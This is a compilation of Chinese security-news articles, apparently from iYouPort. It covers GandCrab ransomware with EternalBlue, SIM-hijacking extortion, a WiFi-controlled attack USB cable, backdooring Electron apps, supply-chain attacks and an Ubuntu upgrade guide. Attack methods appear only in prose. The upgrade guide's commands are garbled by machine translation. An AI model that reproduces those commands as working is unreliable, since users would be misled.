31、**Toolz**

Toolz 是 Python 中的一个功能库，它带有一组用于函数、字典和迭代器的实用程序。

—— 下载 Toolz

32、**fn.py**

fn.py 是一个小小的函数式编程Python库。它包含了几十个工具，可以加快项目的开发速度，尤其是数据科学方面的开发。

—— 获得 fn.py

33、**Graph-tool**

Graph-tool 是Python的一个高级可视化模块。它包含了几十个函数和算法来构建多功能的交互式图表。

—— 获得 Graph-tool

34、**Pydot**

Pydot 是一个Python可视化库，作为 Graphviz 的接口，它的依赖性有限，完全用Python编写。

—— 获得 Pydot

35、**pytablewriter**

pytablewriter 是一个开源的Python库，用于编写多种不同格式的数据表。它支持 CSV、TSV、JSON、LTSV、LaTeX、markdown、MediaWiki、TOML 和 YAML。

它还支持二进制文件格式，如 Microsoft Excel（xlsx，xls），SQLite 数据库和 pandas.DataFrame。

—— 获得 pytablewriter

总是会有新的东西出现。如果您发现或创建一个新的数据科学相关的库，欢迎留言。〇

35 Data Science Python Libraries for Scientists

原文

GandCrab 勒索软件升级，增加了 NSA 的 SMB 漏洞，以便更快地传播 - iYouPort

技术-攻击防御和反抗

互联网时代是这样的时代：一种能力，要么无人能掌握，要么任何人都能掌握。没有第三种选项。这就是为什么情报机构开发的也许为了“抓坏人”的间谍工具、漏洞和后门，最终都会被任何人利用来做任何事。也是为什么国家安全局在这个时代的存在纯粹起了反作用 ——他们糟糕的策略已经导致了一系列灾难，并且没有终止的迹象

「图」

「图」

NSA 漏洞利用工具已经在高端恶意软件中使用。现在，GandCrab 勒索软件 v4 增加了 NSA 的 SMB 漏洞，以便更快地传播。

在版本4中，GandCrab 勒索软件经历了重大改变，增加了对 **NSA** 漏洞的利用，以帮助蔓延和针对更大的系统集。

更新的 GandCrab 勒索软件本月早些时候首次被发现，但研究人员才刚了解到这些变化的程度。

GandCrab 勒索软件的代码结构被完全重写。而且，根据英国安全架构师 Kevin Beaumont 的说法，该恶意软件现在使用国家安全局（NSA）的黑客工具 EternalBlue 来针对 SMB 漏洞并更快速地传播。

“它不再需要 C2 服务器（例如它可以在气隙环境中运行），现在它通过 SMB 漏洞进行传播 – 包括 XP 和 Windows Server 2003（以及其他现代操作系统）”，Beaumont 在博客中写道。

“据我所知，这是第一个传播到 XP 和 2003 的勒索软件真正的蠕虫 – 你可能还记得很多关于 WannaCry 和 XP 的新闻报道和猜测，但现实是对**NSA** 的 **SMB**漏洞利用（**EternalBlue.exe**）还从来没有开箱即用的 **XP** 目标。“

位于加利福尼亚州桑尼维尔的 Fortinet 高级威胁研究员 Joie Salvio 发现 **GandCrab** 勒索软件正在通过垃圾邮件和恶意 **WordPress** 网站传播到目标，他还注意到代码的另一个重大变化。

“然而，最大的变化是从使用 RSA-2048 切换到速度更快的 Salsa20 流密码来加密数据，过去 Petya 勒索软件也使用过这种密码，”Salvio 在分析中写道。“此外，它已经取消了连接到其 C2 服务器，然后才能加密其受害者的文件的这种方法，这意味着它现在能够加密未连接到互联网的用户！”

但是值得注意的是，**GandCrab** 勒索软件似乎专门针对俄语地区的用户。 **Fortinet** 发现恶意软件会在继续感染之前检查系统是否使用俄语键盘布局。

尽管 GandCrab 勒索软件被进行了大修，并且扩展系统成为目标，但 Beaumont 和 Salvio 都表示，基本的网络卫生应足以保护用户免受攻击。这包括安装 Microsoft 发布的 EternalBlue 补丁，使防病毒软件能保持最新状态并完全禁用 SMB 版本1，这是自最初的 WannaCry 攻击开始以来各种网点（包括 US-CERT）不断重复的建议。

无独有偶，今天同时出现了另一则消息。

今年5月一名黑客利用 Shodan 搜索引擎仔细阅读易受攻击的系统，发现了一个早前已被公开的 FTP 漏洞，由此访问了位于克里奇空军基地的 Netgear 路由器，并且获得了美国空军机长计算机的内容。

包括维护手册、分配被基地Reaper维护小组的飞行员名单。现在这些军事文件正在网上销售。

MQ-9 Reaper 是一款能够自动、远程操控的无人机，它被认为是美国迄今为止研发的最先进的、最致命的无人机之一。

五角大楼、国土安全局、CIA以及NASA目前都在使用这款无人机。目前在网上出售的文件包括数十本训练手册、生存手册以及坦克拍战术。

这些文件如何落在有目的的人手里，很容易据此推测到美军和情报机构的弱点。美国国防部和情报机构对后门和网络间谍工具的痴迷正在为自己构建灾难。

延伸阅读：//"为什么说如今国家安全局的存在纯属错误"//？

原文

SIM劫持：如何实施信用卡诈骗攻击？ - iYouPort

技术-攻击防御和反抗

他的信用卡遭到诈骗攻击，不仅如此，在此期间，他的电话被切断，连电子邮件帐户也被黑了。当时的他完全处于无助状态，在数字世界里仿佛被人抹去了一样。为了恢复自己的数字世界的身份，他不得不与攻击者进行了一次交易……

「图」

「图」

这是一个真实的案例。在本案例中，受到攻击的主人公叫做 Jared Goetz，近日他的信用卡遭到诈骗攻击，不但如此，在此期间他的电话被切断，连电子邮件帐户也被黑了。当时的他完全处于无助状态，在数字世界里仿佛被人抹去了一样。为了恢复自己的数字世界的身份，他不得不与攻击者进行了一次交易。

某天，当 Jared Goetz 正在吃饭的时候，有人用他的美国运通卡购买了价值 39000 美元的网络域名，但 Goetz 此时并不没有对此事放在心上，因为他觉得只要向美国运通欺诈部门汇报此事，那事情就会水落石出。不过令他意外的是，后续的发展则让他感到绝望。

后来，Goetz 的手机突然失去了所有服务，这意味着他无法接收或拨打任何电话、短信，或使用任何在线服务。此时的他，还以为是他的手机欠费或手机本身出现了问题。但事后他发现有人篡改了他的 T-Mobile 服务密码。接着，他发现自己连电子邮件也无法登陆，这是他数字世界连接的中心。

此时，Goetz 才意识到自己可能被黑了，在他试图登录电子邮件时，服务器提示他的密码在一小时前就被修改了。

Goetz 此时在房间里走来走去，试图找到事情发生的原因，此时他的电话想响了，是一个陌生来电。

对方说，想要3个比特币。根据对话，他发现他是黑客今天的第三个目标。但是在接下来的一个半小时的谈话中，Goetz 试图了解对方这么做的原因，并期望对方归还自己的被盗账户。

这只是黑客攻击勒索上升趋势中的一个小的案例，黑客会在攻击中盗取有价值的账户并索要赎金。

目前，黑客已经将知名社交媒体中的电子邮件和 Instagram 帐户定位为主要攻击目标。攻击者知道这些用户必须依赖这些服务与朋友保持联系。**Goetz** 的黑客攻击就是所谓的 **SIM** 劫持攻击的一个例子，黑客能够控制受害者的电话号码，原因是电信公司在保护用户(或者更确切的说，不保护用户)方面存在漏洞。

经过与黑客的进一步联系，研究者发现对方是一名名叫 Sebastian 的17岁德国少年，他之所以选择 Goetz 进行攻击，只是因为 Goetz 经常活跃在加密货币的社交论坛上。故此，Sebastian 以为 Goetz 手里可能有大量的加密货币，想趁机揩一把。

Sebastian 为此劫持了 Goetz 的 SIM 卡，并将任何密码重置信息发送到他自己的手机上。这也让 Sebastian 绕过了 Goetz 帐户上任何基于 sms 的双因素身份验证，虽然电信公司发送那些短信的目的是对用户的真实身份进行验证，但很明显这一招完全失败了。

通过盗取 Goetz 的电话号码，Sebastian 就会伪装成 Goetz。在与 Motherboard 的联系中，Sebastian 并没有详细说明他是如何控制这些电话号码的，但是 Motherboard 之前的调查显示黑客可以相对轻松的完成这个过程。要么黑客会打电话给电信公司，提供有关目标的一些基本个人信息，然后将电话号码转到他们自己的 SIM 卡上，要么他们贿赂电信员工，进行电话号码的控制。

一名在 Verizon 零售店工作的女员工最近被一名试图贿赂她的犯罪分子紧盯着，据这名员工和她提供给 Motherboard 的信息显示。犯罪分子提供给她一大笔钱以换取客户账户的账户和密码，不过她拒绝了这个贿赂。这位女士在电子邮件中告诉 Motherboard：

> 我一开始对此感到震惊，因为来自 Instagram 的一些用户发信息给我，要我给向他们出售用户的手机信息，但我的良知和道德阻止了我这么做。

在本文的案例中，Goetz 同样是 T-Mobile 的客户，根据之前 Motherboard 所做的调查，T-Mobile 里就有内鬼专门兜售客户的手机

信息和访问账户。T-Mobile 的一位发言人在一封电子邮件中告诉 Motherboard:

> 我们一直在努力改善安全措施，这样我们就能防止客户被欺诈，保护我们的客户。我们已经注意到近些年的网络攻击变化趋势，并及时做出措施。

目前在许多黑客中，都将 **Instagram** 账号作为攻击的着手点，因为这些 **Instagram** 账号只有几个字符长，或者只包含一个完整的单词。在之前的一个案例中，Motherboard 就介绍了黑客们是如何对“rainbow.”这样的用户发起攻击的。

在整个交流过程中，Goetz 试图与黑客谈判，以便让对方知道他并没有比特币，只有一种少量的 Ripple（另一种加密货币）。为了要回账号，他还说他可以付给对方一些现金。

当黑客劫持了 Instagram 上那些网红账户时，一些受害者为了生存，会很快决定支付一笔赎金。即便如此，在某些情况下，黑客仍会删除所劫持的账户，或者直接将其置于自己的控制之下。

要说明的是， **Instagram** 在用户受到这样的攻击时，往往没有任何应对措施。不过，在Motherboard 联系了该公司，并特别指出了 Goetz 的账户被黑客入侵后，Instagram 立即就恢复了他的账号，不过其他账号就没有这么幸运了，这大概就是新闻媒体的力量吧。■

原文

USB 数据线攻击 - iYouPort

技术-攻击防御和反抗

一个插入计算机的**USB** 数据线就可以让攻击者通过**WiFi**来执行命令，就像使用计算机键盘一样 这是怎么做到的？

将 USB 线插入PC可能看起来再普通不过了。但是，目前这已经是一直骇客攻击的方法。

一个插入计算机的最新攻击型 **USB** 数据线可以让攻击者通过**WiFi**来执行命令，就像使用计算机键盘一样。

当这种特殊的 USB 数据线连接到 Linux、Mac 或 Windows 计算机时，操作系统会将其视为人机交互设备中的输入设备，它们可以像键盘一样给计算机发布命令。

这种USB数据线由安全研究员 Mike Grover 制造，其推特名为 MG，上面集成了一个 WiFi 的电路板。攻击者可借此远程连接到USB数据线，然后在计算机上执行命令或操作鼠标。

在 Grover 的演示视频中，你可以看到研究人员只要将USB数据线插入计算机，就能够远程连接到计算机，并通过手机上的应用程序发出命令。

在这里看到视频：

在一次 BleepingComputer 的采访中，Grover 解释说，当USB数据线插上后，就像插上了一个键盘或一个鼠标。这意味着无论计算机是否被锁定，攻击者都可以输入命令。更可怕的是，如果计算机设置了定时锁屏，则可以通过一定的配置，使得USB数据线定时操控计算机，让其一直保持激活状态。

Grover 还告诉 BleepingComputer，USB数据线中的WiFi芯片可以预先配置为攻击者连接到WiFi网络后自动返回 shell。这就使远程攻击者在USB数据线拔下后依然能够控制服务器。

根据 Grover 的博客文章，这种 USB 数据线专属的用来发送命令的app正在合作开发中。开发人员希还望将 ESPloitV2 移植到 USB 数据线中。

Grover 最后告诉 BleepingComputer，虽然使用USB安全套可以阻止人机交互设备的攻击，但它仍然进行WiFi身份验证攻击。

WiFi deauth 攻击可以利用虚假的 MAC 地址发送 deauthentication 数据帧来断开附近无线设备与接入点的连接。

Grover设想，deauth 攻击可以在攻击者虽已插入USB数据线，但无法远程连接的情况下进行。攻击者也许可以借此让目标进行物理转移，看看会不会产生新的攻击机会。

Grover 假设了以下场景，“你虽然不在WiFi的接入范围内，但目标人物在。使用此USB数据线，你可以让目标在一定区域内携带黑客USB数据线进行移动。可能只是针对某种相机，也可能只是一次小小突袭。想象一下，一个办公室里的IT设备突然全部断网。

这种USB数据线目前并不出售，但 Grover 希望在未来能将其出售给其他安全研究人员。

Grover 告诉 BleepingComputer，他花了大约4000美元以及300多小时来研究所需的WiFi模块并将其添加到USB数据线中。这一切都是通过使用较为初级工作台来完成的，而这通常不适用于在 DIY 环境中创建高质量的电路板。

因此，许多用户对 Grover’s电路板的质量感到惊讶，连电路板工作台的制造商 Bantam 也想了解 Grover 是如何做到的。

Evil USB Cable Can Remotely Accept Commands From Hacker. The cable itself looks pretty generic, but the security researcher Mike Grover actually fitted a Wi-Fi chip inside one of the sockets, which can be used to remotely send commands to the connected PC.

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

Whatsapp, Slack, Skype 等应用程序更容易被构建后门 - iYouPort

技术-攻击防御和反抗

由于其跨平台功能，Electron 框架是许多应用程序的关键部分。

Electron 已被广泛用于构建通信工具 —— 包括 Skype，WhatsApp 和 Slack —— 甚至 Microsoft 的 Visual Studio Code。

但是 Electron 也会带来很大的风险，因为基于 Electron 的应用程序可以轻松被修改而不会触发警告。

「图」

「图」

brown back door of an establishment

在 BSides LV 安全会议上，Pavel Tsakalidis 演示了他创建的一个名为 BEEMKA 的工具，这是一个基于 Python 的工具，允许解压缩 Electron ASAR 存档文件并将新代码（后门）注入 Electron 的 JavaScript 库和内置的 Chrome 浏览器扩展。

该漏洞不在应用程序本身，而是在底层 **Electron** 框架中 —— 于是该漏洞允许恶意活动隐藏在看似良性的流程中。

Tsakalidis 说，他已经联系了 Electron 解释关于这个漏洞的问题，但他没有得到任何回应 —— 而且这个漏洞仍然存在。

虽然进行这些更改如果在 Linux 和 MacOS 上进行就需要管理员访问权限，但是在 Windows 上做则不需要。

⚠这些修改可以创建新的“功能”，可以访问文件系统、激活 Web cam，并使用受信的应用程序功能（包括用户凭据和敏感数据）从系统中泄露信息。

在他的演示中，Tsakalidis 展示了一个后门版本的 Microsoft Visual Studio Code，它可以将打开的每个代码选项卡的内容发送到远程网站。

视频：

问题在于 **Electron ASAR** 文件本身未加密或签名，允许在不更改受影响应用程序的签名的情况下对其进行修改。开发人员要求加密 **ASAR** 文件的请求被 **Electron** 团队忽视，他们没有采取任何行动。

Tsakalidis 表示，为了对 Electron 应用程序进行修改，需要进行本地访问，因此（至少目前）相关远程攻击不会构成威胁。

但是，攻击者可以对应用程序进行后门处理，然后重新分发它们，并且修改后的应用程序不太可能触发警告 —— 因为它们的数字签名没有被修改过。〇

Skype, Slack, other Electron-based apps can be easily backdoored

原文

一个用于在 Blockstack 分散式网络上构建网页的 Web 构建器 - iYouPort

技术-攻击防御和反抗

DPAGE 是一个网页构建器，开发人员可以使用它来在 Blockstack 的分散式互联网上启动和运行简单的网页。

DPAGE 建立在 Blockstack 之上，Blockstack 是一个可以构建分散式区块链应用程序的基础架构。您需要一个 Blockstack 帐户登录才能开始使用 DPAGE。

用于登录的 Blockstack ID 存储在区块链中。所有用户数据都存储在您可以选择的 Gaia 节点上。这种分散式设置为用户提供了优于传统集中式应用程序的几个优势：

- 您的数据是您自己的：使用 DPAGE 后，如果您不喜欢它，那么您可以创建自己的应用程序。或者，您可以使用任何其他网页构建器，您的所有数据都将与您同在，而不是任何网页/应用程序所拥有。
- 用户不受任何供应商锁定的限制。
- 与集中式身份不同，Blockstack ID 几乎不可能被阻止。Google 或 Facebook ID 等都可能会被公司阻止。
- 所有私有用户数据都是端到端加密的。这意味着没有其他人可以阅读它，包括 DPAGE 的创建者。

默认情况下，配置文件详细信息和用户数据存储在 Blockstack 的 Gaia 存储中心上。DPAGE 本身不会在其服务器上存储任何用户数据。您还可以在选择的服务器上运行自己的存储中心。他们使用 Blockstack 存储数据，并将其存储在“基于 Google，AWS 和 Azure 构建的 personal data lockers”上。

由于所有私有数据都经过加密，因此黑客要想从分散的应用程序中窃取用户数据会非常困难。没有包含所有数据的中央数据库，因此黑客也没有动力去攻击 DPAGE。但是，如果黑客瞄准特定的 Gaia hub，DDOS 攻击是可能的。

DPAGE 仅收集用户的不可识别分析以改进服务。服务本身不存储或读取私有页面。

要查看 DPAGE，请访问他们的网站。

Introducing DPAGE, a web builder to build web pages on the Blockstack decentralized internet. A Blockstack ID is virtually impossible to block unlike centralized identities. Google or Facebook IDs can be blocked by companies.

原文

不要忽视威胁情报中的地缘政治 - iYouPort

技术-攻击防御和反抗

地缘政治很少在数据收集、分析以及大多数商业部门威胁情报团队执行的其他日常任务中发挥重要作用。但它绝对应该发挥重要作用——通过最近发生的一些网络攻击就可以看到为什么：

– Lazarus 组织于2018年12月试图通过智利银行间网络 Redbanc 进行抢劫，被认为是朝鲜通过使用非常规方法（即以金融机构为目标）为其政权提供资金以应对国际制裁扼杀经济之现状的最新尝试之一。

– APT10 等组织在2018年下半年对美国及其盟国实体发起的中国赞助的网络攻击活动的上升与美国宣布提高中国商品关税密切相关。

– 人们普遍认为，俄罗斯干涉西方选举的动机至少部分是因为某些候选人如果当选，将更有可能放松对该国的制裁并支持俄罗斯的利益。

这些攻击和无数其他攻击都符合一个明显的趋势：影响民族国家的地缘政治重大事件—— 尤其是具有强大网络能力的国家—— 往往先于这些国家的恶意网络活动。

在过去几年中，这种趋势已经体现在贸易争端、军备竞赛、制裁、重大选举以及类似事件中，这些事件最终成为许多民族国家网络攻击的主导。

对于威胁情报团队来说，这里的关键点是直截了当的：威胁情报团队应密切关注地缘政治格局，跟踪相关事件，并使用这些观察结果来理解他们的情报需求、收集策略以及有关民族国家活动的分析。但只有相对较少的团队这样做; 似乎有两个主要原因。

首先，大多数团队都遵守传统观念，即组织无法无限期地抵挡一个坚定的对手，例如一个民族国家。这种思路可以说是正确的，除了少数例外，并且在很大程度上促使许多团队在涉及民族国家威胁时远远超过主动防御的优先检测和响应。

由于地缘政治环境对检测和响应的价值往往较低，因此许多威胁情报

分析师几乎没有机会接触它。一旦一个民族国家（或任何）攻击者渗透到你的网络中，了解攻击者的地缘政治动机不可能在将他们踢出网络并修复损害赔偿方面有用。

即使在攻击发生后，识别和阻止任何妥协指标（IOC）、以及发现和修补任何促进攻击的漏洞，都可以理解为在评估所涉及的地缘政治因素时具有先例性。

其次，即使是在这一领域为主动防御提供充足资源的威胁情报小组中，地缘政治也不总是能有一席之地。面向民族国家威胁的防御战略倾向于主要关注对手可能做的技术方面—— 但不一定是可能首先激励他们做到这一点的大局。

加速检测与响应的最新工具：MITRE ATT&CK 框架是许多这样的策略的焦点。从数百万次攻击中观察到的战术、技术和程序（TTP）的生动汇编，旨在帮助维护者评估他们的系统是否能够承受和/或检测对手的TTP。

该框架被理所当然地称为黄金标准，但其所包含的地缘政治背景通常仅限于对手的原籍国以及之前针对的行业、资产和地点。例如，它没有提供有关外交争端或军备竞赛在历史上塑造对手行动的程度的见解。

利用 ATT&CK 以及相关资源对民族国家威胁的见解的最佳方式是在与贵公司相关的地缘政治因素的背景下评估这些见解。一个很好的起点是熟悉民族国家网络运营的TTP和动机，并确定与公司环境重叠的区域。

例如，让我们考虑一下，在中国经济受损的事件发生后，中国支持的先进持续威胁（APT）团体在瞄准北美和欧洲的制造商和技术公司的知识产权方面一直更为活跃。如果您的公司符合此描述，您的威胁情报团队可以通过监控经济制裁进度或对中国征收关税的消息来增强情报收集策略。如果出现这样的消息，团队就会认识到公司资产面临的潜在风险，将这些信息传递给安全运营中心，并确保采取适当的预防措施。

这种情况提出了一个重要的提醒：地缘政治环境与其他类型的威胁情报团队已经熟悉的背景情况并没有什么不同。行业、规模和利益相关者以及其他特征长期以来一直在公司易受影响的各种威胁中发挥作用。地缘政治只是另一个难题。

Rarely does geopolitics play a prominent role in the data collection, analysis, and myriad other daily tasks carried out by many, if not most, commercial-sector threat intelligence teams. But it absolutely should

原文

从一个 Ubuntu 版本升级到另一个版本，而无需重新安装操作系统，怎么做？ - iYouPort

技术-攻击防御和反抗

您可以从一个 Ubuntu 版本升级到另一个版本，而无需重新安装操作系统。 如果您运行的是 LTS 版本的 Ubuntu，则只会提供具有默认设置的新LTS版本 – 但您可以更改它。

我们建议在继续之前备份您的重要文件。 您应该始终拥有重要个人数据的备份副本，但在升级操作系统时为此提供这些备份非常重要 – 以防万一。

你能升级吗？

无论何时发布新版本的 Ubuntu，升级都可以从以前的版本中立即获得。 例如，现在 Ubuntu 18.04 LTS 已经发布，如果您使用的是 Ubuntu 17.10，则可以立即升级。

一般来说，你只能从一个 Ubuntu 版本升级到下一个版本。 例如，如果您安装了 Ubuntu 17.04并且您想要升级到 Ubuntu 18.04 LTS，升级过程将安装 Ubuntu 17.10。 然后，您可以再次通过升级过程从 Ubuntu 17.10 升级到 Ubuntu 18.04 LTS。

从一个长期服务（LTS）版本升级到另一个LTS版本是允许的，但它们被推迟给新的LTS版本一段时间来稳定。 例如，虽然 Ubuntu 18.04 LTS 于 2018 年4月26日发布，但直到 Ubuntu 18.04.1 LTS 发布，预计将于2018年7月26日发布，您将无法直接从 Ubuntu 16.04 LTS 升级。

图形方法

您可以使用内置于标准 Ubuntu 桌面的图形工具或使用终端命令进行升级。

如何选择升级到的版本

默认情况下，Ubuntu 的标准版本提供将您升级到新的标准版本，而 Ubuntu 的长期支持（LTS）版本只提供您升级到新的 LTS 版本。

例如，如果您安装了 Ubuntu 18.04 LTS，那么在 Ubuntu 18.10 发布时不会提供升级。 只有在 Ubuntu 20.04 LTS 发布后才会提供升级。 但是如果你喜欢，你可以改变这种行为。

要找到此选项，请单击屏幕左上角的“活动”按钮（在GNOME Shell 中）或 Ubuntu 徽标按钮（在 Unity 中）。 搜索“更新”并点击“软件和更新”快捷方式。

您也可以打开 Software Updater 应用程序，然后单击“设置”打开此窗口。

「图」

「图」

点击“更新”标签。 在“通知我新的 Ubuntu 版本”右侧，单击该框并选择“对于任何新版本”或“对于长期支持版本”，具体取决于您想要的更新类型。 完成后点击“关闭”。

「图」

「图」

如何升级

Ubuntu 可能会通知您，通过标准软件更新程序工具可以获得新版本。 但是，即使软件更新程序工具没有找到更新，也可以手动检查它。 要升级到最新版本的 Ubuntu，请按 Alt + F2 键入以下命令，然后按 Enter 键：update-manager -c

软件更新程序工具检查 Ubuntu 的服务器，并通知您新的 Ubuntu 版本可用（如果有的话）。 点击“升级”按钮升级到较新版本的 Ubuntu。

「图」

「图」

如果在软件更新程序工具中没有看到告诉您新版本可用的消息，请按

Alt ＋ F2，键入以下命令，然后按 Enter 键：/ usr / lib目录/Ubuntu的发行版，升级程序/签新版本，GTK

您会看到一条消息，告诉您新版本可用，如果有的话。 点击“是，立即升级”进行安装。

「图」

「图」

终端方法

您还可以使用终端命令进行升级，该命令在服务器系统或其他类型的 Ubuntu 上适用于不同的桌面环境。

在继续之前，运行以下命令以确保安装了 update-manager-core 软件包。 如果没有安装此软件包，您用于升级的命令将不起作用。

sudo apt 安装 update-manager-core

「图」

「图」

如何选择升级到的版本

与上面的图形工具一样，Ubuntu 的标准版本通常会将您升级到下一个可用版本，而长期支持版本通常只会将您升级到下一个LTS版本。 例如，如果在 Ubuntu 18.10 发布时运行 Ubuntu 18.04 LTS，则不会收到升级，因为系统默认配置为等待 Ubuntu 20.04 LTS。

要从终端进行更改，请运行以下命令，以root权限打开 nano 文本编辑器中的 /etc/update-manager/release-upgrades 文件。 您可以使用任何您喜欢的其他文本编辑器，但我们在此处使用 nano 作为示例。

sudo nano / etc / update-manager / release-upgrades

「图」

「图」

根据是否要提示升级到正常版本还是仅LTS版本，编辑文件中的“Prompt ＝”行以表示“ Prompt＝normal ”或“ Prompt＝lts ”。

「图」

「图」

保存该文件并关闭文本编辑器。 例如，在 nano 中，可以按 Ctrl + O 然后按 Enter 保存文件。 按 Ctrl + X 关闭纳米。

如何升级

要检查可以升级到的任何可用新版本，请运行以下命令：do-release-upgrade -c

该命令检查 Ubuntu 的服务器是否有可用更新，并通知您将升级到哪个版本的 Ubuntu。 它提供的版本由系统的/ etc / update-manager / release-upgrades文件中的内容控制。

「图」

「图」

要执行升级，请运行以下命令： sudo do-release-upgrade

「图」

「图」

Ubuntu 开始升级过程。 您必须输入“y”并按 Enter 键确认。

「图」

「图」

do-release-upgrade terminal 命令与图形升级工具类似。 您无法使用它直接从 Ubuntu 16.04 LTS升级到 Ubuntu 18.04 LTS，无需等待 Ubuntu 18.04.1 LTS 版本。

有一个 do-release-upgrade -d 命令可以将你升级到 Ubuntu 的当前不稳定的开发分支。 但是，这不建议用于生产系统。 Ubuntu 的开发版本不稳定，只能用于测试。

你总是可以重新安装 **Ubuntu**

当然，即使上述工具无法升级您的系统 – 例如，如果您运行的是

Ubuntu 16.04 LTS 并希望在7月26日之前升级，您可以从网站下载最新版本的 Ubuntu ， 制作一个可启动的USB驱动器或刻录光盘，然后在您的系统上重新安装 Ubuntu。

相关： 如何创建一个可启动的 Linux USB 闪存驱动器，简单的方法

尽管您应该能够在保留个人文件的同时重新安装 Ubuntu，但在此过程中您肯定会丢失已安装的应用程序。 在尝试此操作之前，您还应该备份，因为您可能很容易意外擦除分区并擦除文件 – 或者安装程序意外删除它们的错误。

正如俗话所说，安全性好于抱歉。〇

原文

你下载的应用程序一直在间谍你？ - iYouPort

技术-攻击防御和反抗

TechCrunch 报道了一件看起来惊人的事：许多 iPhone 应用程序一直在“秘密记录你的屏幕”。这是真的吗？嗯，是的，的确如此，虽然他们的记录能力有限。

「图」

「图」

首先，让我们明确一点：iPhone 和 iPad 应用程序无法记录您在手机屏幕上执行的所有操作。一个应用程序只能记录该应用程序本身内发生的情况。

换句话说，即使应用程序试图记录它所能做的一切，它也只能记录您在该应用程序中输入的滑动，点击和数据。 Expedia 应用程序是为数不多的特例之一。因此，如果您使用的是 Expedia，该应用可以记录您刷新、点按并输入 Expedia 应用的所有内容。但是，在您离开应用程序后，它无法看到您在主屏幕上执行的任何操作或您在其他应用程序中输入的任何内容。 Apple 的 iOS 操作系统会阻止应用程序始终记录您的屏幕，即使他们想要这样做。

唯一能够在屏幕上录制所有内容的功能就是使用 iPhone 内置的屏幕录制工具。APP 无法访问该内容。

该消息不应该是什么惊人的爆料。当您使用 Air Canada、Hollister 或 Expedia 等应用时，它们都可以监控您点按的所有内容以及在应用内的滑动动作。它们可以监视您在特定屏幕上浏览的时间；甚至可以记录您在该应用中输入的文字。例如，如果您在更改主意，删除信用卡和键入新的卡号之前在该应用中已经键入了一个信用卡号，则该应用可以捕获第一个信用卡号。毕竟，您在应用程序中键入了它，应用程序可以监视应用程序本身发生的所有事。

但是这些都没有解决更大的问题：公司是在没有向客户明确披露的情况下这样做的。不过，即使一家公司说它没有在它的应用程序中执行

此类操作，你也应该意识到，任何应用程序都可以监视自身内部发生的任何事而你无法知道。

并且，请注意，此类行为不仅限于 iPhone 应用程序。当您访问网站时，网站也可以监控您在该网站上执行的任何操作。而且经常如此。

网站可以知道您点击的内容，查看广告的时间以及您在网页的不同部分上花费的时间。如果您在网站上的字段中键入了信息，则网站上运行的脚本就可以捕获文本并将其发送到他们的服务器—即使您没有按 Enter 键或提交文本也是如此。

请注意，在线聊天界面也是一样的。即使你没有点击“发送”消息，也就是输入后又删掉了，另一端的支持人员通常都可以看到您输入的确切内容。

与 iPhone 上的应用程序一样，网站只能看到您在网站上执行的操作。但如果每个网站都选择嵌入脚本，跟踪服务可能就会在多个网站上跟踪您。只是，您在一个浏览器标签中打开的网站无法在另一个浏览器标签中看到您在网上银行网站上的操作，也不知道您打开了网上银行页面。

这里真正的新闻是应用程序开发人员正在以非常详细的方式监控您的应用程序的使用情况。

TechCrunch 涵盖了使开发人员可以嵌入其应用程序的“Glassbox”，它使用“会话重放”技术，让开发人员记录并捕获您在应用程序中执行的所有操作。这包括您在应用中点按，滑动和输入的所有内容。开发人员可以“回放”您对应用程序的使用情况，这在您遇到问题时尤其有用。他们还可以汇总使用这些数据，以了解人们如何使用该应用以及他们正在使用哪些功能。

正如 TechCrunch 指出的那样，应用分析师最近证明， Air Canada 没有正确地“屏蔽”会话重放，向监视人员公开了用户的信用卡详细信息和护照号码。拥有这些数据的 Air Canada 员工可能会看到您的关键私人信息。这很糟糕，但威胁仅限于您已经与之共享数据的公司的员工—— 并且假设他们不会监守自盗卖掉你的数据。

要知道，应用程序不会在隐私政策中告诉你他们在这样做，更不用说应用本身了！但是，说实话：即使应用程序在他们的隐私政策中警告了你，你会注意到吗？实际上没人会读那些东西。

Apple 现已注意到，要求在收集此类数据之前应用程序获得用户许可。“应用程序必须要求明确的用户同意，并在录制、记录或以其他方式收集用户活动时提供清晰的视觉指示，”Apple 在给 TechCrunch 的电子邮件中说。

不过应用程序仍会监视您可以在其中执行的许多操作，即使他们必须先请求权限。开发人员更有可能不会收集尽可能多的数据。也许他们无法“回放”你的会话，但他们可能仍然知道你正在使用什么功能。

好吧，默认情况下，即使 Apple 的 iOS 操作系统本身也会同样会收集有关您“使用情况”的信息，并将此信息发送给 Apple。这很常见。所以，这里的重大新闻应该是，这些应用程序一直对此保密，并收集了比平常更多的数据。

Are Apps Really Recording Your iPhone’s Screen? The big news here is that apps were being secretive about it and collecting more data than normal.

原文

借刀杀人 - iYouPort

技术-攻击防御和反抗

- 以前人们只听说过硬件供应链攻击，现在更值得注意的是软件供应链攻击。全球开发者社区有一个严重的弱点，现在它正在被利用，这是非常危险的！

安全部门正在意识到软件供应链攻击所带来的潜在威胁，攻击者不会直接攻击单个设备或网络，而是瞄准分发其目标使用的代码的公司。

现在，安全公司卡巴斯基和ESET的研究人员已经发现的证据表明，今年早些时候以这种供应链攻击华硕的黑客也针对了另外三个不同的视频游戏开发者 —— 这次瞄准的是更高的上游，破坏了游戏开发者所依赖的编程工具。

在揭露华硕事件 —— 黑客劫持计算机公司的软件更新过程以悄悄用恶意代码感染客户 —— 的几周后，卡巴斯基研究人员将其与另一组漏洞联系了起来。

同样的黑客似乎已经破坏了 Microsoft Visual Studio 开发工具的版本，然后三个不同的视频游戏公司在他们自己的开发中使用了这些工具。然后，黑客可以在某些游戏中植入恶意软件，可能会通过后端版本的程序感染数十万受害者。

卡巴斯基研究人员表示，华硕和视频游戏案件可能是更广泛的软件供应链攻击网络的一部分，其中还包括2017年劫持实用软件 CCleaner 和服务器管理软件 Netsarang 的案件。

Game over

卡巴斯基的亚洲研究主管 Vitaly Kamluk 表示，视频游戏攻击尤其代表了许多软件公司迫在眉睫的盲点。

在使用恶意 Microsoft 开发工具之后，每个受到攻击的游戏公司在分发游戏之前都会对其进行数字签名，即使它们包含恶意软件也会将其标记为合法。

这代表了对华硕案例的升级，例如，黑客在创建后更改了更新文件，并使用受感染的华硕服务器使用公司密钥对其进行签名。

